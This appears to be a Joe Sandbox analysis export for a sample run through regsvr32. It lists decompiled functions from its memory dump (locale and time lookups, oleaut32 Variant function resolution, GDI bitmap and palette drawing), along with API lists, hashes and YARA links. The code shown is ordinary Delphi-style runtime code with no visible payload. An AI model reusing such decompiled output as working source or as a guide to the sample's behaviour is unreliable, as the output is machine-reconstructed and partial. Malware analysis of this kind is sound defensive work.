Instruction ID: 7083aa3106c9504c7e29e565ffc4cd9a43d00651ec473936f66fff0114877675
Opcode Fuzzy Hash: 86aaed17f8a6b51b287fe3b35eecba835fb7249e15a5b4a7a4b262368af3054d
Instruction Fuzzy Hash: CCE0923270421816E714A9595C86AE7B25C9B58351F00427FBD05E73C2EDB4AE8046E9

Uniqueness

Uniqueness Score: -1.00%

Function 00409D8C Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409D8C(int __eax, char __ecx, int __edx) {
				char _v16;
				char _t5;
				char _t6;

				_push(__ecx);
				_t6 = __ecx;
				if(GetLocaleInfoA(__eax, __edx,  &_v16, 2) <= 0) {
					_t5 = _t6;
				} else {
					_t5 = _v16;
				}
				return _t5;
			}

0x00409d8f
0x00409d90
0x00409da6
0x00409dad
0x00409da8
0x00409da8
0x00409da8
0x00409db3

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040B5A6,00000000,0040B7BF,?,?,00000000,00000000), ref: 00409D9F

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 64b8242c1bf068661fd7661667fe0503820ec2f56524850575be1cf591b1e076
Instruction ID: 7f69448b0038a941bb840e28b59590fbdee17e5371045803d6d07cb6b3bb7555
Opcode Fuzzy Hash: 64b8242c1bf068661fd7661667fe0503820ec2f56524850575be1cf591b1e076
Instruction Fuzzy Hash: 7CD05E6631E2502AE310515A2D89DBB5AACCEC57A0F10407EB548D6282D2288C069375

Uniqueness

Uniqueness Score: -1.00%

Function 00408840 Relevance: 1.5, APIs: 1, Instructions: 6
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408840() {
				struct _SYSTEMTIME* _t2;

				GetLocalTime(_t2);
				return _t2->wYear;
			}

0x00408844
0x00408850

APIs

GetLocalTime.KERNEL32 ref: 00408844

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: dd9df47be811adb1dd1d45f2ad1143b69defe48a64e1c6dde9251f5c2a9e23fb
Instruction ID: 79d117a1e5a3a8a7516196af2e2063e8b66170196a975208bbffd1b31054f9e7
Opcode Fuzzy Hash: dd9df47be811adb1dd1d45f2ad1143b69defe48a64e1c6dde9251f5c2a9e23fb
Instruction Fuzzy Hash: FEA01218404C0111C14033281C0315D30109800620FC4075468B8103D1E92D2520C5AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040C77C Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C77C() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleA("oleaut32.dll");
				 *0x43a7a0 = E0040C750("VariantChangeTypeEx", E0040C2EC, _t91);
				 *0x43a7a4 = E0040C750("VarNeg", E0040C31C, _t91);
				 *0x43a7a8 = E0040C750("VarNot", E0040C31C, _t91);
				 *0x43a7ac = E0040C750("VarAdd", E0040C328, _t91);
				 *0x43a7b0 = E0040C750("VarSub", E0040C328, _t91);
				 *0x43a7b4 = E0040C750("VarMul", E0040C328, _t91);
				 *0x43a7b8 = E0040C750("VarDiv", E0040C328, _t91);
				 *0x43a7bc = E0040C750("VarIdiv", E0040C328, _t91);
				 *0x43a7c0 = E0040C750("VarMod", E0040C328, _t91);
				 *0x43a7c4 = E0040C750("VarAnd", E0040C328, _t91);
				 *0x43a7c8 = E0040C750("VarOr", E0040C328, _t91);
				 *0x43a7cc = E0040C750("VarXor", E0040C328, _t91);
				 *0x43a7d0 = E0040C750("VarCmp", E0040C334, _t91);
				 *0x43a7d4 = E0040C750("VarI4FromStr", E0040C340, _t91);
				 *0x43a7d8 = E0040C750("VarR4FromStr", E0040C3AC, _t91);
				 *0x43a7dc = E0040C750("VarR8FromStr", E0040C418, _t91);
				 *0x43a7e0 = E0040C750("VarDateFromStr", E0040C484, _t91);
				 *0x43a7e4 = E0040C750("VarCyFromStr", E0040C4F0, _t91);
				 *0x43a7e8 = E0040C750("VarBoolFromStr", E0040C55C, _t91);
				 *0x43a7ec = E0040C750("VarBstrFromCy", E0040C5DC, _t91);
				 *0x43a7f0 = E0040C750("VarBstrFromDate", E0040C64C, _t91);
				_t46 = E0040C750("VarBstrFromBool", E0040C6BC, _t91);
				 *0x43a7f4 = _t46;
				return _t46;
			}

0x0040c78a
0x0040c79e
0x0040c7b4
0x0040c7ca
0x0040c7e0
0x0040c7f6
0x0040c80c
0x0040c822
0x0040c838
0x0040c84e
0x0040c864
0x0040c87a
0x0040c890
0x0040c8a6
0x0040c8bc
0x0040c8d2
0x0040c8e8
0x0040c8fe
0x0040c914
0x0040c92a
0x0040c940
0x0040c956
0x0040c966
0x0040c96c
0x0040c973

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0040C785

Part of subcall function 0040C750: GetProcAddress.KERNEL32(00000000), ref: 0040C769

Strings

VarR8FromStr, xrefs: 0040C8DD
VarDateFromStr, xrefs: 0040C8F3
VarNeg, xrefs: 0040C7A9
VarCmp, xrefs: 0040C89B
VarAdd, xrefs: 0040C7D5
VarCyFromStr, xrefs: 0040C909
VarSub, xrefs: 0040C7EB
VarBstrFromCy, xrefs: 0040C935
VarDiv, xrefs: 0040C817
VarMod, xrefs: 0040C843
VarAnd, xrefs: 0040C859
VarBstrFromBool, xrefs: 0040C961
VarNot, xrefs: 0040C7BF
VarBstrFromDate, xrefs: 0040C94B
VarOr, xrefs: 0040C86F
VarI4FromStr, xrefs: 0040C8B1
VarR4FromStr, xrefs: 0040C8C7
VarXor, xrefs: 0040C885
VarBoolFromStr, xrefs: 0040C91F
oleaut32.dll, xrefs: 0040C780
VariantChangeTypeEx, xrefs: 0040C793
VarIdiv, xrefs: 0040C82D
VarMul, xrefs: 0040C801

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 4055284b673394508a6da037c37c3a9ed93b6d6da3ccde8ba96eb929b0d1d731
Instruction ID: 014f25650195ffefbfabefc870fcd8b11bcbe1dd724f5e27e7a876dbc29acfe7
Opcode Fuzzy Hash: 4055284b673394508a6da037c37c3a9ed93b6d6da3ccde8ba96eb929b0d1d731
Instruction Fuzzy Hash: 534135B1644205DAC304BB6E78C142A73E8D6807143A0E33FB848FB7C5DB7CA8414BAE

Uniqueness

Uniqueness Score: -1.00%

Function 004160F8 Relevance: 37.7, APIs: 25, Instructions: 248
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004160F8(struct HDC__* __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, int _a4, int _a8, struct HDC__* _a12, int _a16, int _a20, int _a24, int _a28, struct HDC__* _a32, int _a36, int _a40) {
				int _v8;
				int _v12;
				char _v13;
				struct HDC__* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				struct HPALETTE__* _v40;
				intOrPtr* _t78;
				struct HPALETTE__* _t89;
				struct HPALETTE__* _t95;
				int _t171;
				intOrPtr _t178;
				intOrPtr _t180;
				struct HDC__* _t182;
				int _t184;
				void* _t186;
				void* _t187;
				intOrPtr _t188;

				_t186 = _t187;
				_t188 = _t187 + 0xffffffdc;
				_v12 = __ecx;
				_v8 = __edx;
				_t182 = __eax;
				_t184 = _a16;
				_t171 = _a20;
				_v13 = 1;
				_t78 =  *0x4390d0; // 0x4370d4
				if( *_t78 != 2 || _t171 != _a40 || _t184 != _a36) {
					_v40 = 0;
					_v20 = E00415F54(CreateCompatibleDC(0));
					_push(_t186);
					_push(0x416378);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
					_v24 = E00415F54(CreateCompatibleBitmap(_a32, _t171, _t184));
					_v28 = SelectObject(_v20, _v24);
					_t89 =  *0x43a880; // 0x1c0805c3
					_v40 = SelectPalette(_a32, _t89, 0);
					SelectPalette(_a32, _v40, 0);
					if(_v40 == 0) {
						_t95 =  *0x43a880; // 0x1c0805c3
						_v40 = SelectPalette(_v20, _t95, 0xffffffff);
					} else {
						_v40 = SelectPalette(_v20, _v40, 0xffffffff);
					}
					RealizePalette(_v20);
					StretchBlt(_v20, 0, 0, _t171, _t184, _a12, _a8, _a4, _t171, _t184, 0xcc0020);
					StretchBlt(_v20, 0, 0, _t171, _t184, _a32, _a28, _a24, _t171, _t184, 0x440328);
					_v32 = SetTextColor(_t182, 0);
					_v36 = SetBkColor(_t182, 0xffffff);
					StretchBlt(_t182, _v8, _v12, _a40, _a36, _a12, _a8, _a4, _t171, _t184, 0x8800c6);
					StretchBlt(_t182, _v8, _v12, _a40, _a36, _v20, 0, 0, _t171, _t184, 0x660046);
					SetTextColor(_t182, _v32);
					SetBkColor(_t182, _v36);
					if(_v28 != 0) {
						SelectObject(_v20, _v28);
					}
					DeleteObject(_v24);
					_pop(_t178);
					 *[fs:eax] = _t178;
					_push(E0041637F);
					if(_v40 != 0) {
						SelectPalette(_v20, _v40, 0);
					}
					return DeleteDC(_v20);
				} else {
					_v24 = E00415F54(CreateCompatibleBitmap(_a32, 1, 1));
					_v24 = SelectObject(_a12, _v24);
					_push(_t186);
					_push(0x4161cb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t188;
					MaskBlt(_t182, _v8, _v12, _a40, _a36, _a32, _a28, _a24, _v24, _a8, _a4, E00405EC4(0xaa0029, 0xcc0020));
					_pop(_t180);
					 *[fs:eax] = _t180;
					_push(E0041637F);
					_v24 = SelectObject(_a12, _v24);
					return DeleteObject(_v24);
				}
			}

0x004160f9
0x004160fb
0x00416101
0x00416104
0x00416107
0x00416109
0x0041610c
0x0041610f
0x00416113
0x0041611b
0x004161d4
0x004161e3
0x004161e8
0x004161e9
0x004161ee
0x004161f1
0x00416204
0x00416214
0x00416219
0x00416228
0x00416235
0x0041623e
0x00416256
0x00416265
0x00416240
0x0041624f
0x0041624f
0x0041626c
0x0041628e
0x004162b0
0x004162bd
0x004162cb
0x004162f2
0x00416317
0x00416321
0x0041632b
0x00416334
0x0041633e
0x0041633e
0x00416347
0x0041634e
0x00416351
0x00416354
0x0041635d
0x00416369
0x00416369
0x00416377
0x00416133
0x00416145
0x00416155
0x0041615a
0x0041615b
0x00416160
0x00416163
0x0041619f
0x004161a6
0x004161a9
0x004161ac
0x004161be
0x004161ca
0x004161ca

APIs

CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0041613B
SelectObject.GDI32(?,?), ref: 00416150
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,004161CB,?,?), ref: 0041619F
SelectObject.GDI32(?,?), ref: 004161B9
DeleteObject.GDI32(?), ref: 004161C5
CreateCompatibleDC.GDI32(00000000), ref: 004161D9
CreateCompatibleBitmap.GDI32(?,?,?), ref: 004161FA
SelectObject.GDI32(?,?), ref: 0041620F
SelectPalette.GDI32(?,1C0805C3,00000000), ref: 00416223
SelectPalette.GDI32(?,?,00000000), ref: 00416235
SelectPalette.GDI32(?,00000000,000000FF), ref: 0041624A
SelectPalette.GDI32(?,1C0805C3,000000FF), ref: 00416260
RealizePalette.GDI32(?), ref: 0041626C
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 0041628E
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 004162B0
SetTextColor.GDI32(?,00000000), ref: 004162B8
SetBkColor.GDI32(?,00FFFFFF), ref: 004162C6
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 004162F2
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 00416317
SetTextColor.GDI32(?,?), ref: 00416321
SetBkColor.GDI32(?,?), ref: 0041632B
SelectObject.GDI32(?,00000000), ref: 0041633E
DeleteObject.GDI32(?), ref: 00416347
SelectPalette.GDI32(?,00000000,00000000), ref: 00416369
DeleteDC.GDI32(?), ref: 00416372

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Select$ObjectPalette$ColorStretch$CompatibleCreateDelete$BitmapText$MaskRealize
String ID:
API String ID: 3976802218-0
Opcode ID: db812d9e86fd026536bf36d5111cb4b76074c86dfcc6cf3938c6467b20c8874b
Instruction ID: 2038a0eb07a5c6da528450ab4c3741acb7d0e9caadba42835c1ae785f0b8a615
Opcode Fuzzy Hash: db812d9e86fd026536bf36d5111cb4b76074c86dfcc6cf3938c6467b20c8874b
Instruction Fuzzy Hash: DF81A6B1A00609AFDB50EEA9CC85EEF77FCEB0C314F11445AF618E7281C678AD408B65

Uniqueness

Uniqueness Score: -1.00%

Function 004195E0 Relevance: 31.7, APIs: 21, Instructions: 194
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004195E0(void* __eax, long __ecx, struct HPALETTE__* __edx) {
				struct HBITMAP__* _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				intOrPtr _v92;
				intOrPtr _v96;
				int _v108;
				int _v112;
				void _v116;
				int _t68;
				long _t82;
				void* _t117;
				intOrPtr _t126;
				intOrPtr _t127;
				long _t130;
				struct HPALETTE__* _t133;
				void* _t137;
				void* _t139;
				intOrPtr _t140;

				_t137 = _t139;
				_t140 = _t139 + 0xffffff90;
				_t130 = __ecx;
				_t133 = __edx;
				_t117 = __eax;
				_v8 = 0;
				if(__eax == 0 || GetObjectA(__eax, 0x54,  &_v116) == 0) {
					return _v8;
				} else {
					E00418AD4(_t117);
					_v12 = 0;
					_v20 = 0;
					_push(_t137);
					_push(0x4197db);
					_push( *[fs:eax]);
					 *[fs:eax] = _t140;
					_v12 = E00415F54(GetDC(0));
					_v20 = E00415F54(CreateCompatibleDC(_v12));
					_v8 = CreateBitmap(_v112, _v108, 1, 1, 0);
					if(_v8 == 0) {
						L18:
						_t68 = 0;
						_pop(_t126);
						 *[fs:eax] = _t126;
						_push(0x4197e2);
						if(_v20 != 0) {
							_t68 = DeleteDC(_v20);
						}
						if(_v12 != 0) {
							return ReleaseDC(0, _v12);
						}
						return _t68;
					} else {
						_v32 = SelectObject(_v20, _v8);
						if(_t130 != 0x1fffffff) {
							_v16 = E00415F54(CreateCompatibleDC(_v12));
							_push(_t137);
							_push(0x419793);
							_push( *[fs:eax]);
							 *[fs:eax] = _t140;
							if(_v96 == 0) {
								_v21 = 0;
							} else {
								_v21 = 1;
								_v92 = 0;
								_t117 = E00418F18(_t117, _t133, _t133, 0,  &_v116);
							}
							_v28 = SelectObject(_v16, _t117);
							if(_t133 != 0) {
								SelectPalette(_v16, _t133, 0);
								RealizePalette(_v16);
								SelectPalette(_v20, _t133, 0);
								RealizePalette(_v20);
							}
							_t82 = SetBkColor(_v16, _t130);
							BitBlt(_v20, 0, 0, _v112, _v108, _v16, 0, 0, 0xcc0020);
							SetBkColor(_v16, _t82);
							if(_v28 != 0) {
								SelectObject(_v16, _v28);
							}
							if(_v21 != 0) {
								DeleteObject(_t117);
							}
							_pop(_t127);
							 *[fs:eax] = _t127;
							_push(0x41979a);
							return DeleteDC(_v16);
						} else {
							PatBlt(_v20, 0, 0, _v112, _v108, 0x42);
							if(_v32 != 0) {
								SelectObject(_v20, _v32);
							}
							goto L18;
						}
					}
				}
			}

0x004195e1
0x004195e3
0x004195e9
0x004195eb
0x004195ed
0x004195f1
0x004195f6
0x004197eb
0x00419610
0x00419612
0x00419619
0x0041961e
0x00419623
0x00419624
0x00419629
0x0041962c
0x0041963b
0x0041964c
0x00419662
0x00419669
0x004197ad
0x004197ad
0x004197af
0x004197b2
0x004197b5
0x004197be
0x004197c4
0x004197c4
0x004197cd
0x00000000
0x004197d5
0x004197da
0x0041966f
0x0041967c
0x00419685
0x004196b1
0x004196b6
0x004196b7
0x004196bc
0x004196bf
0x004196c6
0x004196e6
0x004196c8
0x004196c8
0x004196ce
0x004196e2
0x004196e2
0x004196f4
0x004196f9
0x00419702
0x0041970b
0x00419717
0x00419720
0x00419720
0x0041972a
0x0041974e
0x00419758
0x00419761
0x0041976b
0x0041976b
0x00419774
0x00419777
0x00419777
0x0041977e
0x00419781
0x00419784
0x00419792
0x00419687
0x00419699
0x0041979e
0x004197a8
0x004197a8
0x00000000
0x0041979e
0x00419685
0x00419669

APIs

GetObjectA.GDI32(?,00000054,?), ref: 00419603
GetDC.USER32(00000000), ref: 00419631
CreateCompatibleDC.GDI32(?), ref: 00419642
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 0041965D
SelectObject.GDI32(?,00000000), ref: 00419677
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 00419699
CreateCompatibleDC.GDI32(?), ref: 004196A7
SelectObject.GDI32(?), ref: 004196EF
SelectPalette.GDI32(?,?,00000000), ref: 00419702
RealizePalette.GDI32(?), ref: 0041970B
SelectPalette.GDI32(?,?,00000000), ref: 00419717
RealizePalette.GDI32(?), ref: 00419720
SetBkColor.GDI32(?), ref: 0041972A
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041974E
SetBkColor.GDI32(?,00000000), ref: 00419758
SelectObject.GDI32(?,00000000), ref: 0041976B
DeleteObject.GDI32 ref: 00419777
DeleteDC.GDI32(?), ref: 0041978D
SelectObject.GDI32(?,00000000), ref: 004197A8
DeleteDC.GDI32(00000000), ref: 004197C4
ReleaseDC.USER32 ref: 004197D5

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ObjectSelect$Palette$CreateDelete$ColorCompatibleRealize$BitmapRelease
String ID:
API String ID: 332224125-0
Opcode ID: 37005f0320d7d69cb8ab758aa1873c6c1e189c071a6b17e9085b49529777cdc5
Instruction ID: c49066af7ee09f764a6dfd4fe57fb26f61359e889a4979434c26c1eca4bf6a83
Opcode Fuzzy Hash: 37005f0320d7d69cb8ab758aa1873c6c1e189c071a6b17e9085b49529777cdc5
Instruction Fuzzy Hash: 0051DB71E14609AADB10EAE9CC95FEFB7B8EF08704F14446AF514EB2C1D6789D408B68

Uniqueness

Uniqueness Score: -1.00%

Function 0041A374 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 351
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041A374(intOrPtr __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, char* _a4) {
				intOrPtr _v8;
				intOrPtr* _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				void* _v24;
				BITMAPINFOHEADER* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v37;
				struct HBITMAP__* _v44;
				void* _v48;
				struct HPALETTE__* _v52;
				struct HPALETTE__* _v56;
				intOrPtr* _v60;
				intOrPtr* _v64;
				short _v66;
				short _v68;
				signed short _v70;
				signed short _v72;
				void* _v76;
				intOrPtr _v172;
				char _v174;
				intOrPtr _t150;
				signed int _t160;
				intOrPtr _t164;
				signed int _t193;
				signed int _t218;
				signed short _t224;
				intOrPtr _t251;
				intOrPtr* _t255;
				intOrPtr _t261;
				intOrPtr _t299;
				intOrPtr _t300;
				intOrPtr _t305;
				signed int _t307;
				signed int _t327;
				void* _t329;
				void* _t330;
				signed int _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				intOrPtr _t335;

				_t326 = __edi;
				_t333 = _t334;
				_t335 = _t334 + 0xffffff54;
				_t329 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v52 = 0;
				_v44 = 0;
				_v60 = 0;
				 *((intOrPtr*)( *_v12 + 0xc))(__edi, __esi, __ebx, _t332);
				_v37 = _v36 == 0xc;
				if(_v37 != 0) {
					_v36 = 0x28;
				}
				_v28 = E00402640(_v36 + 0x40c);
				_v64 = _v28;
				_push(_t333);
				_push(0x41a891);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				_push(_t333);
				_push(0x41a864);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				if(_v37 == 0) {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t330 = _t329 - _v36;
					_t150 =  *((intOrPtr*)(_v64 + 0x10));
					if(_t150 != 3 && _t150 != 0) {
						_v60 = E00402EFC(1);
						if(_a4 == 0) {
							E004029A0( &_v174, 0xe);
							_v174 = 0x4d42;
							_v172 = _v36 + _t330;
							_a4 =  &_v174;
						}
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						E004122AC(_v60,  *_v60, _v12, _t326, _t330, _t330, 0);
						 *((intOrPtr*)( *_v60 + 0x14))();
						_v12 = _v60;
					}
				} else {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t261 = _v64;
					E004029A0(_t261, 0x28);
					_t251 = _t261;
					 *(_t251 + 4) = _v72 & 0x0000ffff;
					 *(_t251 + 8) = _v70 & 0x0000ffff;
					 *((short*)(_t251 + 0xc)) = _v68;
					 *((short*)(_t251 + 0xe)) = _v66;
					_t330 = _t329 - 0xc;
				}
				_t255 = _v64;
				 *_t255 = _v36;
				_v32 = _v28 + _v36;
				if( *((short*)(_t255 + 0xc)) != 1) {
					E00415E34();
				}
				if(_v36 == 0x28) {
					_t224 =  *(_t255 + 0xe);
					if(_t224 == 0x10 || _t224 == 0x20) {
						if( *((intOrPtr*)(_t255 + 0x10)) == 3) {
							E0041223C(_v12, 0xc, _v32);
							_v32 = _v32 + 0xc;
							_t330 = _t330 - 0xc;
						}
					}
				}
				if( *(_t255 + 0x20) == 0) {
					 *(_t255 + 0x20) = E004160C4( *(_t255 + 0xe));
				}
				_t327 = _v37 & 0x000000ff;
				_t267 =  *(_t255 + 0x20) * 0;
				E0041223C(_v12,  *(_t255 + 0x20) * 0, _v32);
				_t331 = _t330 -  *(_t255 + 0x20) * 0;
				if( *(_t255 + 0x14) == 0) {
					_t307 =  *(_t255 + 0xe) & 0x0000ffff;
					_t218 = E004160E4( *((intOrPtr*)(_t255 + 4)), 0x20, _t307);
					asm("cdq");
					_t267 = _t218 * (( *(_t255 + 8) ^ _t307) - _t307);
					 *(_t255 + 0x14) = _t218 * (( *(_t255 + 8) ^ _t307) - _t307);
				}
				_t160 =  *(_t255 + 0x14);
				if(_t331 > _t160) {
					_t331 = _t160;
				}
				if(_v37 != 0) {
					E0041638C(_v32);
				}
				_v16 = E00415F54(GetDC(0));
				_push(_t333);
				_push(0x41a7df);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				_t164 =  *((intOrPtr*)(_v64 + 0x10));
				if(_t164 == 0 || _t164 == 3) {
					if( *0x4373d8 == 0) {
						_v44 = CreateDIBSection(_v16, _v28, 0,  &_v24, 0, 0);
						if(_v44 == 0 || _v24 == 0) {
							if(GetLastError() != 0) {
								E0040B874(_t255, _t267, _t327, _t331);
							} else {
								E00415E34();
							}
						}
						_push(_t333);
						_push( *[fs:eax]);
						 *[fs:eax] = _t335;
						E0041223C(_v12, _t331, _v24);
						_pop(_t299);
						 *[fs:eax] = _t299;
						_t300 = 0x41a7ae;
						 *[fs:eax] = _t300;
						_push(E0041A7E6);
						return ReleaseDC(0, _v16);
					} else {
						goto L27;
					}
				} else {
					L27:
					_v20 = 0;
					_v24 = E00402640(_t331);
					_push(_t333);
					_push(0x41a747);
					_push( *[fs:edx]);
					 *[fs:edx] = _t335;
					_t273 = _t331;
					E0041223C(_v12, _t331, _v24);
					_v20 = E00415F54(CreateCompatibleDC(_v16));
					_v48 = SelectObject(_v20, CreateCompatibleBitmap(_v16, 1, 1));
					_v56 = 0;
					_t193 =  *(_v64 + 0x20);
					if(_t193 > 0) {
						_t273 = _t193;
						_v52 = E00416644(0, _t193);
						_v56 = SelectPalette(_v20, _v52, 0);
						RealizePalette(_v20);
					}
					_push(_t333);
					_push(0x41a71b);
					_push( *[fs:edx]);
					 *[fs:edx] = _t335;
					_v44 = CreateDIBitmap(_v20, _v28, 4, _v24, _v28, 0);
					if(_v44 == 0) {
						if(GetLastError() != 0) {
							E0040B874(_t255, _t273, _t327, _t331);
						} else {
							E00415E34();
						}
					}
					_pop(_t305);
					 *[fs:eax] = _t305;
					_push(E0041A722);
					if(_v56 != 0) {
						SelectPalette(_v20, _v56, 0xffffffff);
					}
					return DeleteObject(SelectObject(_v20, _v48));
				}
			}

0x0041a374
0x0041a375
0x0041a377
0x0041a380
0x0041a382
0x0041a385
0x0041a38a
0x0041a38f
0x0041a394
0x0041a3a4
0x0041a3ab
0x0041a3b3
0x0041a3b5
0x0041a3b5
0x0041a3cc
0x0041a3d2
0x0041a3d7
0x0041a3d8
0x0041a3dd
0x0041a3e0
0x0041a3e5
0x0041a3e6
0x0041a3eb
0x0041a3ee
0x0041a3f5
0x0041a454
0x0041a457
0x0041a45d
0x0041a463
0x0041a47d
0x0041a484
0x0041a493
0x0041a498
0x0041a4a6
0x0041a4b2
0x0041a4b2
0x0041a4c2
0x0041a4d2
0x0041a4e6
0x0041a4f5
0x0041a507
0x0041a50d
0x0041a50d
0x0041a3f7
0x0041a407
0x0041a40a
0x0041a416
0x0041a41b
0x0041a421
0x0041a428
0x0041a42f
0x0041a437
0x0041a43b
0x0041a43b
0x0041a510
0x0041a516
0x0041a51e
0x0041a526
0x0041a528
0x0041a528
0x0041a531
0x0041a533
0x0041a53b
0x0041a547
0x0041a554
0x0041a559
0x0041a55d
0x0041a55d
0x0041a547
0x0041a53b
0x0041a564
0x0041a56f
0x0041a56f
0x0041a575
0x0041a581
0x0041a58a
0x0041a59c
0x0041a5a2
0x0041a5a4
0x0041a5b0
0x0041a5ba
0x0041a5bf
0x0041a5c2
0x0041a5c2
0x0041a5c5
0x0041a5ca
0x0041a5cc
0x0041a5cc
0x0041a5d2
0x0041a5d7
0x0041a5d7
0x0041a5e8
0x0041a5ed
0x0041a5ee
0x0041a5f3
0x0041a5f6
0x0041a5fc
0x0041a601
0x0041a60f
0x0041a765
0x0041a76c
0x0041a77b
